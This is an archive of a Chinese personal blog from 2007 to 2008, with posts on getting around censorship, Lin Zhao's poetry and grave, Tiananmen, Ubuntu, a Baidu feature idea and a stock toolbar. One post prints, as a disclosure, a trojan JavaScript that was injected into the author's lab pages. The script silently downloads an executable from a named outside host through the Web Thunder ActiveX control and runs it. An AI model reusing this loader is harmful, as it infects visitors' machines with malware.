星期四, 一月 31, 2008

突破信息封锁的几种方式

Blog很久没有更新,今天不得不更新。我不愿意说太多生活的琐事,这次出来说,是胡佳的事让我实在不能沉默了。看到有人因此被软禁,有人因此被要求去公安局谈话,我出来说话,是不是也要被监视呢。中共,你要为自己的所为负责的。

今天我想告诉大家我获取信息的几种方式,我们只有获得足够的、真实的信息,才能认清我们的民族、我们的国家正在发生什么,过去发生过什么。

  • Blog订阅
这是我获取新闻和评论的主要方式,由于网页访问大多数都被GFW和谐掉,因此使用在线的RSS阅读器就非常必要。我推荐Google Reader。信息首先被抓取在Google的服务器上,一般来说,只要Google还能访问,我们就可以突破封锁。以下是几个我比较关注的消息订阅源(可以直接添加到Google Reader):
一五一十部落头条文章 http://feeds.feedburner.com/my1510
中国报道周刊 http://feeds.feedburner.com/china-week
中文独立媒体「文摘」 http://indymediacn.blogspot.com/atom.xml
壹报 http://feeds.feedburner.com/zml
牛眼看世界 http://feed.feedsky.com/daxa
自曲新闻 http://feeds.feedburner.com/freemoren
以下是一些值得你关注的公民的Blog
高耀洁 http://blog.sina.com.cn/myblog/index_rss.php?uid=1260580754
韦森 http://veisen.blog.sohu.com/rss
郎咸平 http://blog.sina.com.cn/rss/jsmedia.xml
贺卫方 http://blog.sina.com.cn/myblog/index_rss.php?uid=1216766752
戴晴 http://blog.tianya.cn/blogger/rss.asp?BlogID=1072632
袁伟时 http://blog.sina.com.cn/myblog/index_rss.php?uid=1210520227
茅于轼 http://blog.sina.com.cn/myblog/index_rss.php?uid=1235457821
崔卫平 http://blog.sina.com.cn/myblog/index_rss.php?uid=1195181675
傅国涌 http://blog.sina.com.cn/myblog/index_rss.php?uid=1224623833
余世存 http://yushicun.blog.hexun.com/rss2.aspx
和谐蜻蜓 http://yuankui.com/atom.xml
还有曾经的“细节的力量”

如果大家平时没有那么多精力关注这些,也可以订阅我所分享的消息源:http://www.google.com/reader/shared/09124393486765596898

  • eMule下载
eMule基于P2P的方式,可以在没有中心服务器的条件下分享资源,避免了过去服务器资源频繁被删,服务器被迫关闭的问题。迅雷也支持eMule下载,但还没法共享。我最近通过eMule下载了很多资料,比如NHK《激流中国》,《西藏、雪山狮子的哭泣》《透视中国》等纪录片和访谈节目。当然,下载书也很方便,我平时就把我收集的1G电子书都在eMule上共享,只是没有列出清晰的目录,这个工作量太大了。推荐Gene Sharp的书,呵呵,颜色革命的圣经。

  • 盗版书摊
去年中宣部曾经推荐过几本好书:《伶人往事》《我反对》《沧桑》《如嫣》等,这些书很多在正规书店难得见到,但市场经济给了我们其他的选择,我们对这些书有需求,卖方市场自然会形成,大家可以关注那些与城管进行猫鼠游戏的盗版书摊,往往有所收获。目前这些书摊不仅出版国内的热门书籍,如《于丹》《易中天》,还出版港台的书籍。07年的好书就有《毛泽东-鲜为人知的故事》《赵紫阳-软禁中的谈话》《吴法宪回忆录》《中国当代社会各阶层分析》等。

今天先写这么多,不知道文章是否会被和谐。你有什么好的资源欢迎和我交流。谢谢。

星期二, 十一月 06, 2007

林昭墓地

现在这里留个记录,争取早日去看看。

  苏州火车站下,“游4”公交约1小时至终点站灵岩山景区,下车往西,沿途经灵巌山寺、苏州中澳武馆、韩蘄公?(黄色建筑)、右前几十米有小道至安息公墓(几个老妇人坐道口)、从公墓办事处边小道北上、路经一高约三米大墙碑,上刻“中兴佐命定国元勋”、前,一些黄土坟、再前,便是石头砌就的公墓群(从灵岩山到安息公墓约三四百米,注意,右手边可看到“王志喜 仇阿凤”夫妇墓,林昭墓与之并排,边上是林昭父母墓。
   林昭原名彭令昭。
   苏州火车站 --> “游4”公交车(2元)
   灵岩山景区 --> 安息公墓(300~400米)建议乘小三轮机动车3~4元,最多不超过5元
   公墓 --> 林昭墓地(100米不到)

星期一, 十一月 05, 2007

林昭:普洛米修士受难的一日

   (一)
  
   阿波罗的金车渐渐驶近,
   天边升起了嫣红的黎明,
   高加索的峰岭迎着朝曦,
   悬崖上,普洛米修士已经苏醒。
  
   随着太阳的第一道光线,
   地平线上疾射出两点流星:
   ——来了,那宙斯的惩罚使者,
   她们哪天都不误时辰。
  
   ……娇丽的早晨,你几时才能
   对我成为自由光明的象征……
   钉住的镣链像冰冷的巨蛇,
   捆得他浑身麻木而疼痛。
  
   呼一声拍起翅膀,他身旁
   落下了两团狰狞的乌云,
   铜爪猛扎进他的肋骨,
   他沉默着,把牙齿咬紧。
  
   她们急一咀慢一咀啄着,
   凝结的创口又鲜血淋淋,
   胸膛上裂成了锯形的长孔
   袒露出一颗焰腾腾的心。
  
   兀鹰们停了停,像是在休息,
   尽管这种虐杀并不很疲困,
   ——有的是时间,做什么着急
   他没有任何抵抗的可能。
  
   啊,这难忍的绝望的等待,
   他真想喊:“快些,不要磨人”
   但他终于只谋守着静默,
   谁还能指望鹰犬有人性?
   戏弄牺牲者对牺牲者是残酷,
   对戏弄者却是游戏,刺激而高兴
  
   一下,啄着了他活生生的心,
   他痉挛起来,觉得胸膛里
   敲进了一根烧红的长钉;
   一下,一下,又一下,再一下,
   兀鹰们贪婪地啄咬又吞吃,
   新鲜的热血使它们酩酊。
  
   赤血塗红了鹰隼的利喙,
   它们争夺着,撕咬那颗心,
   它已经成为一团变形的血肉,
   只还微微跃动着,颤抖着生命。
  
   痛楚灼烧着他每一根神经,
   他喘息着,冷汗如水般漓淋,
   那儿有空气啊,他吸入的每一口,
   都只是千万只纤细的银针。
  
   佝曲的鹰爪插透了手臂,
   紧叩的牙齿咬穿了嘴唇,
   但受难者像岩石般静默,
   听不到一声叹息或呻吟。
  
   镣铐的边缘割碎了皮肉,
   岩石的锋棱磨烂了骨筋,
   大地上形成了锈色的?底,
   勾下了受难者巍然的身影。
  
   对这苍穹他抬起双眼,
   天,你要作这些暴行的见证,
   可是他看到了什么,……在那里
   云空中显现着宙斯的笑影。
  
   让他笑吧,如果他再找不到
   更好的办法来对我泄恨,
   如果他除此以外就再不能够
   表现他君临万方的赫赫威灵;
   如果他必需以鹰隼的牙爪,
   向囚徒证明胜利者的光荣;
   那么笑吧,握着雷霆的大神,
   宙斯,我对你有些怜悯;
  
   啄吧,受命来惩治我的兀鹰,
   任你们蹂躏这片洁白的心胸,
   牺牲者的血肉每天都现成,
   吃饱了,把毛羽滋养得更光润。
  
   普洛米修士微微地一笑,
   宙斯居然也显示了困窘。
  
   “问话且慢说,普洛米修士,
   接受不接受,你赶快决定。”
   “我不能。”普洛米修士答道,
   平静地直视宙斯的眼睛。
  
   “火本来只应该属于人类,
   怎能够把它永藏在天庭?
   哪怕是没有我偷下火种,
   人们自己也找得到光明。
  
   “人有了屋子怎会再钻洞?
   鸟进了森林怎会再投笼?
   有了火就会有火种留下,
   飓风刮不灭,洪水淹不尽。
  
   “火将要把人类引向解放,
   我劝你再不必白白劳神,
   无论怎么样,无论那一个
   想消灭人间的火已经不成。
  
   “神族这样的统治那能持久,
   你难道听不见这遍野怨声?
   贱民的血泪会把众神淹死,
   奥林匹斯宫殿将化作灰尘!
  
   “何必问未来暴动谁是首领
   要伸张正义的都是你敌人
   你自己种瓜得瓜种豆得豆
   说不定杀你的就是你至亲。”
  
   “住口!停止你恶毒的诅咒,”
   宙斯两眼冒火脸色变青,
   他扬起雷电槌劈空一击,
   平地上霹雳起山摇地震。
  
   “警告你,我不会轻易饶恕,
   切莫要太信任我的宽仁!”
  
   “谁会把你和宽仁联到一起,
   那简直辱没了宙斯的英名。”
  
   “用不着再跟我说长道短,
   一句话:你到底答不答应?”
  
   “重要的并不是我的意愿,
   我无法改变事情的进程。”
  
   “你就这么肯定我们要失败,
   哼,瞧着吧,神族将万世永存。”
  
   “何必还重复陈旧的神话,
   问问你自己可把它当真。”
  
   “谁道我胜不过贱民叛徒?
   谁敢造反我就把它荡平!”
  
   “我知道在这方面你最英武,
   但走多了夜路准碰上冤魂。”
  
   “你只能用诅咒来安慰自己,”
   “这不是诅咒,而是未来的显影。”
  
   “未来怎样已经与你无涉,
   你还是光想法救救自身。”
  
   “你可以把我磨碎,只要你高兴,
   但丝毫救不了你们的危运。”
  
   “你的头脑是不是花岗岩石?”
   “不,是真理保守了它的坚贞。”
  
   “这么说你要与我为敌到底。”
   “被你认作敌人我感到光荣。”
  
   “我叫你到地狱里去见鬼!”
   宙斯怒火万丈吼了一声,
   雷电槌对准普洛米修士打击,
   只听得轰隆隆像地裂天崩。
  
   半边山峰向深谷里倒下,
   满空中飞沙走石伴着雷鸣,
   电光像妖蛇在黑云中乱闪,
   真好比世界末日地狱现形。
  
   宙斯挥动着手中的梭子,
   狞笑着腾身飞上了层云,
   “谁说我惩治不了你?等着!
   不叫你死,剥皮抽你的筋!”
  
   对于被锁链捆绑的勇士,
   对于失去抵抗能力的囚人,
   对于一切不幸被俘的仇敌,
   你们的英武确实无可比伦。
  
   是听清了受难者无言的心声,
   还是辛辣的味觉使它们眩晕
   它们激怒了,猛一下四爪齐伸,
   那颗伤残的心便被扯作两份。
  
   普洛米修士昏晕了,他好像
   忽然向暗黑的深渊下沉,
   胸膛里有一团地狱的烙铁,
   烧烤着,使他的呼吸因而停顿。
  
   (二)
  
   高加索山岭清凉的微风,
   亲吻着囚徒焦裂的嘴唇,
   花岗岩也在颤动而叹息,
   它想把普洛米修士摇醒。
  
   山林女神们悄然地飞落,
   像朵朵轻盈美丽的彩云,
   用她们柔软湿润的长发,
   揩拭受难者胸前的血腥。
  
   她们的眼眶里满含泪水,
   她们的声音像山泉低吟——
   醒来,醒来啊,可敬的囚人,
   生命在呼唤着,你要回应。
  
   鹰隼啄食了你的心肺,
   铁链捆束着你的肉身,
   但你的灵魂比风更自由,
   你的意志比岩石更坚韧。
  
   忽然间正北方响起雷声,
   太阳隐、乌云翻、惨雾雰雰,
   女神们惊叫了一声“宙斯!”
   仓惶地四散隐没了身形。
  
   来了,轻车简从的宙斯,
   两肩上栖息着那对兀鹰,
   他在普洛米修士头边降落,
   俯下身察看囚徒的创痕。
  
   看着那纹丝无损的锁链,
   看着那血锈班班的岩层,
   唇边泛起一个满意的微笑,
   他嘲弄地问道:“怎么样,嗯?”
  
   ……囚徒从容地看了他一眼
   目光是那么锋利和坚定,
   宙斯不由得后退了一步,
   觉得在他面前无处存身。
  
   尽管他全身被钉在岩上,
   能动弹的只有嘴巴眼睛;
   尽管他躺在这穷山僻野,
   远离开人群,无助而孤零。
  
   但这些都安慰不了宙斯,
   对着他只觉得刺促不宁,
   ——他到底保有着什么力量,
   竟足以威胁神族的生存!
  
   “怎么样?”他又重复了一句,
   口气已变得亲切而和温,
   山顶上是不是嫌冷了一些?
   不过这空气倒真叫清新。
  
   “可恨是这两头?毛孽畜,
   闻到点血就说啥都不听,
   我早已叫它们适当照顾,
   不知道它们有没有遵行。
  
   “有什么要求你不妨提出,
   能够办到的我总可答应……”
   普洛米修士静静地回答:
   “多谢你无微不至的关心。”
  
   “有什么要求:囚犯——就是囚犯
   锁链和兀鹰都无非本份。
   只望你收起些伪善,行么?
   那对我真胜似任何酷刑。”
  
   宙斯装作像不曾听清,
   “阿?——我看你有些情绪低沉,。
   那又何必呢?回头处是岸,
   不怕有多大罪悔过就成。
  
   “你不想再回到奥林比斯,
   在天上享受那安富尊荣?
   你不想重新进入神族家,
   和我们同优游欢乐升平?”
  
   “可以答复你,宙斯,我不想,
   我厌恶你们的歌舞升平,
   今天我遭受着囚禁迫害,
   但我不认为自己是罪人。”
  
   “好吧。那你总还希望自由,
   总也想解除惩罚和监禁,
   难道你不响往像常时日,
   随心意飞天过海追风驾云。
  
   “长话短说罢,你到底要怎么?
   是的!我酷爱自由胜似生命。
   可假如它索取某种代价,
   我宁肯接受永远的监禁。”
  
   “不过是这样,普洛米修士,
   我们不愿人间留半点火星,
   火只该供天神焚香燔食,
   那能够给贱民取暖照明!
  
   “当初是你从天上偷下火种,
   现在也由你去消灭干净,
   为了奥林比斯神族的利益,
   你应当负起这严重的责任。
  
   “还有由于你那前知的能力,
   (宙斯矜持地咳嗽了一声),
   据说你预知神族的毁灭,
   知道谁将是***的首领。“
  
   “我们不相信会有这种事,
   要推翻神族—— 梦也作不成,
   我们将统治宇宙万年,
   永保着至高无上的权能。
  
   “但也许真有那样的狂徒,
   竟想叫太阳从西边上升——
   如果你确有所知就该实说,
   让我们早下手惩治叛臣。
  
   “普洛米修士,你怎不想想,
   你属于神族,并不是凡人。
   大河干池塘里也要见底,
   树倒了枝和叶怎能生存!”
  
   “那么你已经感到了不稳,
   是吗?宙斯,这个真是新闻。”
   然而他还总还是不大痛快,
   甚至不感到复仇的欢欣——
   ……一种阴冷的绝望、恐惧,
   深深地盘踞在他的心胸……
  
   (三)
  
   紫色的黄昏向山后沉落,
   灰暗的暮霭一点点加深,
   残损的山峰却依然屹立,
   夜空衬出它深黑的剪影。
  
   普洛米修士悠悠地醒转,
   头颅里一阵阵嗡嗡乱鸣,
   砂石埋没了他半个身子,
   血污糊住了他一双眼睛。
  
   头上有温热的液体流下,
   鼻孔里扑入浓厚的血腥,
   他伸出浮肿而木浊的舌头,
   舔着自己的血来润湿嘴唇。
  
   他用力撑开粘连的眼皮,
   看见了几点稀少的?星,
   下弦月淡淡地挂在天际,
   夜风送来了果树的清芬。
  
   啊,夜,你是多么宁静,
   大地啊,你睡得多么深沉。
   越过广袤的空间,我看见,
   五谷的田野,繁花和森林,
   江湖水滟滟似银,大地母亲,
   你好像披着幅奇丽的绣锦。
   从远古到如今,你每时每日
   滋养哺育着亿万的生灵。
   多少人辛勤地开阔与垦植,
   大地,你一天天焕发着青春。
   可是为什么,你年年血泪,
   只是给众神贡献出祭品!
   我喝过流在你身上的水,
   清澈的水是那么苦涩而酸辛,
   你胸中迸发出沉重的叹息,
   你憔悴,还有你的子孙。
  
   什么时候,大地,你才能新生,
   能够理解被榨取的命运,
   啊!万能的人类永恒的母亲
   我胸中澎湃着?你的爱情,
   我知道,一旦你开始觉醒和翻腾,
   巍峨的奥林比斯将冰消雪崩——
  
   远远地,在沉睡的大地上,
   暗黑中出现了一线光明,
   “火”,普洛米修士微笑地想着,
   痛楚、饥渴霎时都忘个干净。
  
   那一点化成三点、七点、无数,
   像大群飞萤在原野上落定,
   但它们是那么皎红而灼热,
   使星月都黯然失去了晶莹。
  
   这么多了……好快,连我都难相信,
   它们就来自我那粒小小的火星,
   半粒火点燃了千百万亿处,
   光明,你的生命力有多么旺盛,
   燃烧吧“火”,?在囚禁中。
  
   我祝愿你——
   燃烧在正直的出生的火温里,
   让他们凭你诵读真理的教训,
   把血写的诗篇一代代留下,
   为历史悲剧作无情的见证。
   燃烧在正义的战士的火炬上,
   指引他们英勇地战斗行军,
   把火种遍撒到万方万处,
   直到最后一仗都凯旋得胜,
   燃烧,火啊,燃烧在这
   漫漫的长夜,
   冲破这黑暗的如死的宁静,
   向人们预告那灿烂的黎明,
   而当真正的黎明终于来到,
   人类在自由的晨光中欢腾,
   火啊,你要燃烧在每一具
   炉灶里,
   叫寒冷、饥饿永离开人们,
   让孩子拍起手在炉前跳舞,
   老年人围着火笑语殷殷。
  
   凝望那大野上满地灯火,
   臆想着未来光辉的前景,
   就像正遨游在浩渺的太空,
   他觉得精神昂扬而振奋。
  
   今晚有多少人在灯下奋笔,
   记载人民的苦难和觉醒,
   多少人正对灯拔剑起舞,
   火光映红了多少颗急跳的心!
  
   人啊!我喜欢呼唤你响亮的
   高贵的名字,大地的子民,
   作为一个弟兄,我深情地
   呼唤:人啊,我多么爱你们!
   你们是渺小的,但是又伟大;
   你们是朴拙的,但是又聪明;
   你们是善良的,但是当生活
   已经不能忍受,你们将奋起
   斗争!
   起来啊!抛弃那些圣书神语,
   砸烂所有的偶像和香灯,
   把它们踩在脚下,向奥林比斯
   索还作一个自由人的命运!
  
   还能忍受吗?这些黑暗的
   可耻的年代,结束它们,
   不惧怕雅典娜的战甲
   不迷信阿波罗的威灵,
   更不听宙斯的教训或恫吓,
   他们一个都不会留存。
   人啊,众神将要毁灭而你们
   大地的主人,却将骄傲地永生,
   那一天,当奥林比斯在你们
   的千丈怒火中崩倒,
   我身上的锁链也将同时消失,像日光下的寒冰。
   那时候,人啊,我将欢欣地起立,
   我将以自己受难的创痕,
   向你们证明我兄弟的感情:
   我和你们一起,为着那,
   奥林比斯的覆灭而凯歌欢庆……
   在澎湃如潮的灼热的激情里,
   普洛米修士翘望着黎明,
   他彻夜在粗砺的岩石上辗转。
  
   2004年6月6日 帼馨、雯锐录入,
   小草校对,李蕴珠、蜀慧再校
   2004年11月12日甘粹再校

BLOOD IS ON THE SQUARE

   Phillip Morgan
  
  A song was heard in China in the city of Beijing
  In the spring of 1989, you could hear the people sing,
  And it was a song of freedom that was ringing in the square
  The world could feel passion of people gathered there
  Oh children, blood is on the square
  
  For many nights and many days Waiting in the square
  “To build a better nation“ was the song that echoed there
  “For We are China’s children. We love our native land
  For brotherhood and freedom we are joining hand in hand“
  Oh children, blood is on the square
  
  Then came the People’s Army with trucks and tanks and guns
  The government was frightened of their daughters and their sons
  But in the square was courage and a vision true and fair
  The army of the people would not harm the young ones there
  Oh children, blood is on the square
  
  On June the 3rd in China in the spring of ’89
  An order came from high above and passed on down the line
  The soldiers opened fire, young people bled and died
  The blood of thousands on the square that lies can never hide
  Oh children, blood is on the square
  
  For four more days of fury, the people faced the guns
  How many thousands slaughtered when their grisly work was done
  They quickly burned the bodies to hide their coward’s shame
  but blood is thick upon their hands and darkness on their names
  Oh children, blood is on the square
  
  Therw are tears that flow in China for her children that are gone
  There is fear, there is hiding, for the killing still goes on
  The iron hand of terror can buy silence for today
  But the blood that lies upon the square cannot be washed away
  Oh children, blood is on the square
  Oh children, blood is on the square
  Oh children, blood is on the square

星期日, 十一月 04, 2007

U盘与Ubuntu

从前的三寸盘、五寸盘都有写保护,这有效的阻止了很多病毒的传播,不知道为什么这个技术在U盘上却走了倒退的路。直到现在也没有在每个U盘上普及,甚至很多人都没有意识到这个功能有多么重要。念书的朋友们几乎每个月都要去打印资料,打印社成了病毒的集散地,大家带着U盘纷纷去中毒,痛却没有快乐。如果打印社都可以连入校内网络,然后通过某种可以保护隐私的机制在网络上传递文件,这个问题就解决了大部分。记得本科的时候我想改造开源的FTP Server,为每个登录的用户创建新的目录,目录的浏览权限仅用户自己所有。后来没有去和打印社谈合作,这个东西也就随便谈谈就过去了。
现在这个问题又回来了。我是太轻视这个病毒了,以为凭借自己的经验,可以把影响控制在最小。以前我都是先进入Ubuntu,把病毒删掉才连Windows。疏忽了一次,问题让我搞大了。前天系统无法启动,连个进入Secure Mode的机会都不给了。权衡了一下,不能不打印,就不能没有病毒,那就不用Windows了,改成单一Ubuntu。单一系统也有坏的时候,那时候就没有什么退路了。
其实单一Ubuntu基本可以满足使用需求,我最大的不满意就是输入法。简直就是十年前的准确度,相比Windows上各路英雄齐比武,Linux上就太冷清了。苏哲已经去了Google,我没有理由不相信Google会退出Linux般的输入法,可是这进度真是慢得够呛。

以推送的方式改造"Baidu知道"

我过去提出过很多想法,部分也发表在这里,但最后基本都是没有下文的。以至于当我告诉丫头我有一个想法时,还没讲故事,她就笑的不行了。想法嘛,就是随时都要提,提出来才能进一步思考嘛。

“Baidu知道”我从来没有用过,但基本过程我还是了解的,有人提问,有人解答,这种问答的方式是社区的基本交互方式。因此我的出发点就是如何以更好的方式让提问者得到答案,这种更好应该是更快、更准确、用户付出代价更小。

Google通过人工智能的方式,以强大的计算能力为基础,为用户提供了一个统一的问答系统。比如我们可以搜索框中输入“华南虎灭绝了吗”。搜索引擎自身并不告诉我们结果,而是将我们转交给其他问答社区,比如“Baidu知道”,“Yahoo知识堂”,从而进一步获得结果。这里表面上看是没有人的参与,但其实最终解答问题还是需要人类的智慧贡献。
“Baidu知道”,采取另一条路,即自己建设知识社区,维护知识树和用户群。人们在社区内发布问题,志愿者去解答相关的问题。我之所以提出以推送的方式改进“baidu知道”,是觉得简单发布,等待解答的方式效率不够高,问题并不能第一时间被能够解答的人感知到,即使这个人是Baidu的用户,人们需要首先登录“Baidu知道”社区,找到自己熟悉的领域,然后在很庞大的问题池中选择问题来回答,针对性不强,时效性不高,造成的结果就是解答的质量参差不齐(结论很武断,只是推断出来,没有进行实证研究,在此提示读者请忽略此结论)。在提问时,提问者会为问题分类,这个分类体系是Baidu设计的,但层次大概有三四层。由于分类的粒度较大,因此问题池也较大,这不利于人们解答。

推送是一种大家很熟悉的方式,比如Email、RSS订阅、IM消息等。目前人们谈推送主要是指在用户提出显性请求之前,计算机系统将用户可能关心的信息主动发送给用户,使用户的体验更加的个性化,效率也提高了。将推送结合进“Baidu知道”的步骤如下:

  1. 分析问题的语义信息。当用户提出问题时,计算机系统首先分析问题的语义信息,比如“华南虎灭绝了吗”,计算机可能分析出:华南虎-》大型猫科动物,灭绝-》珍惜动物保护,自然保护区,甚至和新闻相结合推断出-》周正龙。这种语义分析可以使得问题的粒度更细,这是分类系统所无法以较低成本提供的。
  2. 系统进一步分析这个问题可能哪类人可以解答:猫科动物专家?保护野生动物基金会?林业部?记者?
  3. 系统找到这些人都是谁。“Baidu知道”的用户在注册的时候应该提供一份可以解决问题的描述,或者系统根据他过去的回答情况,提取关键特征,得到一个特征向量。这样猫科动物专家-》中科院动物所-》Mr. Right;野生动物保护-》华南虎保护基金会;balabala...
  4. 最后就是推送了,这里可以有多种方式,专家们可能喜欢Email,那么系统就Email他有个问题需要他帮忙。有人安装了Baidu Toolbar,那么可以直接推送到浏览器里。其余的流程,激励机制就没有必要改变了。
很多人会说,问题并不一定只有专家才能解答,生活上的问题人人都是专家。是呀,这里提到的问题只是针对特定需求,比如专业问题,需要高效率的时候才是需要的。以计算机的角度分析,问题的关键是如何做语义分析和推导。即步骤2和3。

OK。这个问题报告完了,说的很罗嗦,你觉得这个有意思欢迎和我讨论,尽管我可能并没有机会去进一步研究他。

盛世出猛虎,猛虎显国威,国威值百万,百万要掉头。

Google股票查询工具条(Stock Button for Google Toolbar)

股票(Stock)查询是一项非常基本,频率又非常高的操作,其API的设计也是非常简单的,输入往往就是股票代码,输出为当前股票价格。在Google Stock的Button库中最早就有Stock Button,可惜这是美国的Stock,非沪市深市。我就很奇怪这个基本的功能为什么中文版没有。后来查看了上海证交所的说明才知道,他们不提供Free的API,需要付费使用。

国内其实有很多看盘的软件,但每个人都有自己特殊的需求,专业操盘手当然使用信息丰富的客户端,比如“Wind金融资讯”。对于平日需要上班工作的人士,安全,谨慎,不被老板发现则是另一个重要需求,此类软件有“股票偷偷看”,容易隐藏。对于有多个操作系统,多个机器的用户,基于Web的方式就很方便,比如Sina的“我的股票2.0”。这些我都用过,但总有些需求是无法满足我的,sina的方式需要我总打开他们的网页,这很容易被老板发现,还是不够安全。因此我的需求总结为“跨平台,低干扰,快捷,安全”。所以采用为Google Toolbar加Button的方式我觉得最符合我的要求(对于不使用Google Toolbar的用户来说当然就很不方便了)。因此有了上面这幅截图中的Stock Button。

开发其实很简单,从熟悉接口到beta使用只用了2个小时,后来仅就参数设置和日志功能做了大概2个小时的维护,代码加起来应该不到100行吧,够用就行,想实现复杂的也不会了。
目前的功能上图基本都呈现了:

  • 采用下拉菜单的方式显示股票的当前价格,涨跌情况。想看的时候点击一下下拉按钮就行。鼠标悬浮时提示更加详细的价格信息(最高、卖价等)。
  • 点击任何项,将会打开sina上对应的网页。
  • 内置上证、深证指数。
  • 可以随时修改自定义股票,股票数量没有限制。需要提供股票代码,如600030,000002等,在Toolbar的Button Option里可以设置。
  • 鼠标点击或者每分钟更新一次数据。
不足:
  • 需要服务器端支持,由于Google Toolbar的下拉菜单是需要读取RSS数据,因此需要把股票价格转换为RSS或ATOM格式,目前这个工作交给实验室一台空闲机器做,这也是这个Button不能发布的根本原因。
  • 数据依赖sina。证交所不提供API,因此选择了其他门户网站,通过分析他们的源代码,找到了一个JavaScript API,使用非常简单。当sina无法访问,或者不对外提供API,数据获取就很麻烦,比如采取Screen Capture的方式,效率就差好几倍了。
  • 显示缺乏颜色提示。不能以红、绿颜色的方式提示涨跌。RSS的Title要是支持颜色,比如HTML,那就可以支持了。
  • 自定义数据保存在客户端。因此每次重装Toolbar都需要重新输入股票代码。
好了,好久没有更新Blog了,就以这篇开个头,祝愿我们的祖国越来越和谐。

股市有风险,入世需谨慎。

星期六, 六月 23, 2007

《历史深处的误会》中的一个小故事

早上在读“功成身退:光复会群像”时有一段文字很让我感动,这段文字描述了秋瑾的事迹,但我这里的主角不是这位女侠,而是一位几乎没有人听说过的人,“秋风秋雨愁煞人”正是他的所为才让此句流传下来。现摘录给大家:
1907年7月15日,她在故乡绍兴被残忍地杀害,年仅32岁。值得一提的是,绍兴的地方官山阴知县李宗岳不肯对秋瑾用刑逼供,他同情秋瑾,又无能为力,在秋瑾殉难后竟然上吊自尽了,显示出难得可贵的人的良知。这是人性的震撼,是秋瑾给他的力量,使他毅然放弃生命。那个年代里,有可耻的告密者,蘸人血馒头的人,但有了李宗岳的死,我们还是看见了人性的一点亮色,那不是为了什么理想、革命,仅仅是人的良心的发现,是人性的力量战胜了求生的欲望。秋瑾被杀并无确凿证据,下令杀她的浙江巡抚对此也感到不安,自请调往江苏、山西,先后被当地人所拒,只好称病。绍兴知府自请调往安徽也被拒,不知所钟。可见人心不服。
此段文字再对比当今某国官员的嘴脸,何为先进性(性倒是先进),何为大国,何为历史的选择,何为中流砥柱,真是TMD的无语呀。

星期五, 六月 22, 2007

利用Web迅雷的木马程序

其实也不算什么病毒,这段代码的作用就是下载一个可执行文件,并且执行它。那个下载的文件也不是病毒,还是一个下载文件(分析过程这里没有写),估计最后是下载各种其他木马吧。
最近实验室中了ARP病毒,把实验室的网页劫持后加入了下面这段代码。
尽管我已经给病毒服务器的注册者发信了(北京一家公司,服务器在东莞),估计没人理我。
安装有Web迅雷并且使用IE浏览的用户有可能感染,看作者的一些注释挺有趣的。

var thunder_server=null; var id_file=0;//记录下载任务id
//初始化控件,返回1表示安装了web讯雷,0为出现错误
function init(){
try {
thunder_server = new ActiveXObject("ThunderServer.webThunder.1");
} catch(e) {
//alert("init activex failed");
return 0; }
return 1;}


////////////////////////////////////注意,核心函数//////////////////////////////////////////////////成功执行后函数返回添加的下载任务的id,否则,返回1////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function downfile(){ thunder_server.SetConfig("MessagePanel","DownloadComplete","0");//下载完毕后无显示面版
thunder_server.SetConfig("Sound","DownloadComplete","0");//下载完毕无声音 thunder_server.ShowBrowserWindow();
//thunder_server.SetBrowserWindowSize(0, 0, 0, 0);
//不添加的话thunder_server.AddTask()就不会成功被执行,郁闷.........
var szURL="http://mmy.mmy88.cn/down/wm.exe"; //需要下载的程序的URL
var szFileName="test.exe"; //另存为的文件名
var szSavePath="d:\\";
// szSavePath=thunder_server.GetServerPath(); //另存为的路径
var szComments="";
//注释
var szRefURL="";
//引用URL
var nStartMode=1; //0为手动开始,1为自动开始
var nOnlyFromOrigin=0; //只从原始地址下载,0为否
var nOriginThreadNum=5; //下载程序的线程数
var nIsNeedAccount=0; //是否需要登陆,0为无需登陆
var szUserName=""; //登陆用户名
var szPassword=""; //登陆密码
var szTaskClass=""; //下载任务的类别,如“其他”,“软件”,“游戏”,“影视”等等
var szCID=""; //下载讯雷资源时才用到
var nIsAddUncompletedTask=0; //看名字就知道
var szStatURL="";
//thunder_server.SetVariable("DoIntelligentName", "");
//调用AddTask()方法开始下载目标程序
var retStr = thunder_server.AddTask(szURL, szFileName, szSavePath,szComments, szRefURL, nStartMode, nOnlyFromOrigin,nOriginThreadNum, nIsNeedAccount, szUserName,szPassword, szTaskClass, szCID, nIsAddUncompletedTask, szStatURL); thunder_server.HideBrowserWindow(1);
//调用AddTask()方法后立即关掉打开的下载窗口
var ret_code = new Number();
var ret_msg = new String();
var aryStr = new String();
if (retStr.length > 0) {
aryStr = retStr.split("{\r*\r}");
ret_code = parseInt(aryStr[0]);//记录添加任务结果,0为添加成功,1为出现错误,100为重复URL ret_msg = aryStr[1];//正确执行后为添加的下载任务的id值
} else //失败
{ return 1; } if(ret_code==1)return 1; return ret_msg;}


//运行下载后的文件
function open() { thunder_server.OpenFile(id_file); }
function exec(){
var ret=init();
if(ret==0)return;
id_file=downfile();
if(id_file==1)
return; //若出现错误则一直调用downfile()函数直到成功为止!!
setInterval("open()",5000);
//搞了半天没有搞出下载完毕的回调函数,
//只能5秒为间隔的运行下载的程序。
//若文件没有下载完毕,调用open()函数时文件并未运行

星期日, 六月 17, 2007

中央外宣办网络局通知

各地外宣办、中央和地方重点新闻网站:
关于山西"黑砖窑"事件,各网站要加大正面宣传力度,多报道中央和地方有关部门采取的有力措施,相关报道要关闭新闻跟贴,并加大对论坛、博客、即时通讯等互动工具的管理,尽快删除所有借此攻击党和政府的有害信息。各地外宣办要加强指导和督促检查,切实落实相关管理措施。
中央外宣办网络局 2007年6月15日

星期日, 六月 10, 2007

七班的朋友都要看呀

转载宁宁的好消息,我们一起去祝福她。

http://www.blogcn.com/u3/68/65/renningning/blog/60984807.html

星期六, 六月 09, 2007

推荐三篇文章

傅国涌先生的文章我推荐的是很多的,但这篇写的太好了,不得不在正文中来推荐.
文章好是好,也为傅国涌先生担心,先生的言论已经触动了ZG敏感的神经,不晓得这篇文章还能访问多久.文章提出"衰世",后来一查,原来朱学勤先生前年就曾说过类似的话.

自我解放 告别“衰世”


另外一片是吴思先生的文章:

三种大国崛起

另小崔的转载也很让我感动:

[转载]一篇演讲辞--为什么应该使用原子弹轰炸日本

星期一, 六月 04, 2007

六四

本来一早就想找些照片来纪念这一天.可惜哪个网页都打不开,后悔当初没有保存在本地.
18年了,留下的血是不会被忘记的.

星期二, 五月 29, 2007

整整20天过去了

没有更新Blog20天了,我在想这20天我在做什么,还是很悲观,忙忙碌碌,却没有满足与收获。
我想实验室工作最忙的一段应该算是过去了吧,但最有难度的一段也已经开始了。

